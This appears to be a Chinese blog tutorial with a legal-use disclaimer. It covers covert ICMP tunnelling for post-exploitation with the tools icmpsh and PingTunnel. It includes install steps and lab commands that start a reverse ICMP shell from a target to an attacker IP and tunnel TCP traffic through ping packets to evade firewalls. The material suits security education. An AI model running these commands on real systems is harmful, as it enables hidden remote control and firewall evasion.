用途限制聲明,本文僅用于網絡安全技術研究、教育與知識分享。文中涉及的滲透測試方法與工具,嚴禁用于未經授權的網絡攻擊、數據竊取或任何違法活動。任何因不當使用本文內容導致的法律后果,作者及發布平臺不承擔任何責任。滲透測試涉及復雜技術操作,可能對目標系統造成數據損壞、服務中斷等風險。讀者需充分評估技術能力與潛在后果,在合法合規前提下謹慎實踐。
在我的上一篇文章中,介紹了內網后滲透攻擊--隱藏通信隧道技術(網絡層隧道技術)-CSDN博客
網絡層隧道技術相關技術點,那么現在就要介紹相關工具的使用,這里我們主要介紹兩個工具。一個是icmpsh,另一個PingTunnel,這兩個工具主要是ICMP隧道工具,接下來詳細介紹這兩個工具
一、icmpsh
1、工具介紹
icmpsh 是一款基于 ICMP 協議實現的反向 shell 工具,主要用于網絡滲透測試中建立隱蔽的命令行連接。其核心特點是利用 ICMP 協議(即 ping 命令所依賴的網絡層協議)傳輸數據,而非傳統的 TCP/UDP 端口,因此能繞過部分僅限制端口的防火墻規則(許多網絡環境默認允許 ICMP 流量通過)。
在滲透測試場景中,當目標主機的 TCP/UDP 端口被嚴格封鎖,但 ICMP 協議未被過濾時,icmpsh 可作為突破網絡限制、獲取目標主機控制權的輔助工具。
2、工作原理
icmpsh 的核心原理是 “濫用” ICMP 協議的 Echo Request(請求,類型 8)和 Echo Reply(回復,類型 0)報文:
- 通信角色:分為 “攻擊機”(控制端)和 “目標機”(被控端)。
- 命令傳輸:
- 攻擊機向目標機發送ICMP Echo Request 報文,報文中嵌入需要執行的命令(如
whoami
、ipconfig
等)。 - 目標機接收后,執行命令并將結果通過ICMP Echo Reply 報文返回給攻擊機。
- 攻擊機向目標機發送ICMP Echo Request 報文,報文中嵌入需要執行的命令(如
- 隱蔽性:由于 ICMP 協議本身用于網絡診斷(如 ping 測試),其流量通常不被視為 “危險流量”,因此不易被防火墻或入侵檢測系統(IDS)攔截。
3、安裝
下載地址:GitHub - bdamele/icmpsh: Simple reverse ICMP shell
icmpsh 主要通過 Python 腳本實現,需在攻擊機(通常為 Linux)和目標機(支持 Windows/Linux)分別部署。
1. 攻擊機(以 Linux 為例)
(1)依賴環境:需安裝 Python 2.x(部分版本兼容 Python 3,建議優先用 Python 2)和python-impacket
庫(用于處理網絡數據包)。
(2)下載工具:
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket #安裝python的impacket類庫
pip install impacket #此命令也行
cd icmpsh
(3)關閉系統自帶的 ICMP 響應(避免系統默認 ping 回復干擾工具通信):
# Linux系統
sysctl -w net.ipv4.icmp_echo_ignore_all=1
2. 目標機(以 Windows 為例)
(1)需準備 icmpsh 的 Windows 可執行文件(icmpsh.exe
),可通過攻擊機編譯或直接下載預編譯版本:
- 從攻擊機的
icmpsh
目錄中,將icmpsh.exe
(若不存在,可通過mingw32
編譯icmpsh.c
生成)上傳至目標機,也就是說將下載文件夾中的icmpsh.exe文件放在目標機,而其它放在攻擊機
4、使用
攻擊機 IP 為192.168.1.100
,目標機 IP 為192.168.1.200
。
1. 攻擊機操作(啟動監聽)
在攻擊機的icmpsh
目錄中,運行sh文件,輸入IP地址
./run.sh
此時攻擊機進入監聽狀態,等待目標機連接。
2. 目標機操作(主動連接)
在目標機上執行icmpsh.exe
,指定攻擊機 IP:
# Windows命令行中運行
icmpsh.exe -t 192.168.1.100 -d 500 -b 32
- 參數說明:
-t
指定攻擊機 IP;-d
設置延遲(毫秒);-b
設置數據包大小(字節)。
3. 建立連接后
連接成功后,攻擊機將獲得目標機的命令行交互權限,可直接執行系統命令(如dir
、tasklist
等),命令結果會通過 ICMP 報文返回。
此工具還是可以的,但是其工具有點久遠了,其腳本還是使用python2編寫的。
二、PingTunnel
1、工具介紹
PingTunnel 是一款基于 ICMP 協議(即 ping 命令所使用的網絡協議)的流量封裝工具,其核心功能是將 TCP/UDP 等其他協議的流量 “偽裝” 成 ICMP Echo Request/Reply(ping 請求 / 應答)包進行傳輸,從而繞過部分網絡環境中對 TCP/UDP 端口的限制(例如防火墻僅允許 ICMP 流量通過的場景)。
它常被用于以下場景:
- 繞過網絡防火墻對特定端口的封鎖;
- 在受限網絡中建立隱蔽的通信通道;
- 測試網絡設備對 ICMP 流量的過濾規則。
2、工作原理
ICMP 協議是 TCP/IP 協議族的一部分,主要用于網絡診斷(如 ping 命令檢測主機可達性),通常網絡設備對 ICMP 流量的限制較松。
PingTunnel 的工作原理如下:
- 客戶端封裝:客戶端將需要傳輸的 TCP/UDP 數據(如 HTTP、SSH 流量)拆解后,封裝到 ICMP Echo Request 包(ping 請求)的數據字段中,發送給服務器端;
- 服務器端解封裝:服務器端接收 ICMP 包后,提取其中的 TCP/UDP 數據,轉發到目標服務(如目標服務器的 80 端口、22 端口);
- 反向傳輸:目標服務的響應數據通過服務器端封裝成 ICMP Echo Reply 包(ping 應答),回傳給客戶端,完成一次通信。
通過這種 “ICMP 封裝” 機制,原本被限制的流量可借助 ping 包的形式繞過過濾規則.
3、安裝
下載地址:Releases · esrrhs/pingtunnel · GitHub
PingTunnel 支持 Linux、Windows 等系統,以下是主流平臺的安裝方法:
1. Linux 系統(以 Ubuntu/Debian 為例)
需通過源碼編譯安裝,依賴libpcap
庫(用于網絡數據包捕獲):
# 安裝依賴
sudo apt update && sudo apt install -y gcc make libpcap-dev# 下載源碼(官方倉庫或第三方鏡像)
git clone https://github.com/esrrhs/pingtunnel.git #下載的主要是go語言編寫
cd pingtunnel# 安裝(可選,將可執行文件復制到系統路徑)
sudo cp pingtunnel /usr/local/bin/
2. Windows 系統
可直接下載預編譯的二進制文件(需從可信來源獲取,如官方發布頁),或通過 MinGW 編譯源碼:
- 預編譯版:下載
pingtunnel.exe
后,放入任意目錄(如C:\tools
),并將該目錄添加到系統環境變量PATH
中,即可在命令行直接調用。
這里我們就演示windows版本,如圖所示
4、使用
PingTunnel 的使用需區分服務端(Server)?和客戶端(Client),兩者配合完成流量轉發。
客戶端通過 PingTunnel 訪問服務端所在網絡的80端口服務
(apache2服務)。
- 服務端配置
在linux啟動服務端:
# Linux服務端
./pingtunnel -type server -key 123456
參數說明:
-type server:以服務端模式運行
-key 123456:設置密碼(純數字,客戶端需一致,增強安全性)
無需額外指定-d和-dp(默認會根據客戶端請求轉發到目標地址,此處目標就是服務端自身 80 端口)
客戶端配置
在本地客戶端(如個人電腦)啟動客戶端,監聽本地8080端口,連接服務端:
./pingtunnel.exe -type client -l 192.168.0.104:8080 -s 172.19.214.174 -t 172.19.214.174:80 -tcp 1 -key 123456
參數說明
-type client:以客戶端模式運行
-l 192.168.0.104:8080:客戶端本地監聽地址(之后訪問此地址即可轉發到服務端 80 端口)
-s 172.19.214.174:服務端 IP 地址(隧道的中間節點)
-t 172.19.214.174:80:目標地址(服務端自身的 80 端口)
-tcp 1:開啟 TCP 轉發(因為 80 端口是 TCP 服務)
-key 123456:與服務端一致的密碼
使用轉發通道
客戶端本地應用連接192.168.0.104:8080,即可通過 PingTunnel 訪問服務端80
ok,以上就是兩款工具的使用介紹了,下一篇介紹傳輸層隧道技術。